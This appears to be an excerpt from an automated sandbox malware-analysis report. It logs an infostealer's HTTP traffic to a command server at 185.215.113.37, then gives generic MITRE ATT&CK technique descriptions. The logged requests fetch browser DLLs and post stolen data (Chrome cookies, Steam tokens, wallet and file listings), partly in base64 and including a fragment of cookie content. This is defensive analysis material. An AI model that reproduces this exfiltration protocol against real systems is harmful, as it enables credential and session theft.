Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCFBFBAEBKJKEBGCAEHHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 2d 2d 0d 0a Data Ascii: ------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="message"plugins------EHCFBFBAEBKJKEBGCAEH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"fplugins------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAECHost: 185.215.113.37Content-Length: 6735Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAKHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nU
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBGHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 2d 2d 0d 0a Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file"------CGDHIEGCFHCGDGCAECBG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="file"------ECBGCGCGIEGCBFHIIEBF--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDHHost: 185.215.113.37Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="message"wallets------FCBAEHCAEGDHJKFHJKFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="message"files------FHDAEHDAKECGCAKFCFIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAKHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="file"------AAKKECFBGIIIEBGDGDAK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKEHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="message"ybncbhylepme------GCAFCAFHJJDBFIECFBKE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBFHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 2d 2d 0d 0a Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIECFBAAAFHIIDGCGCBF--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
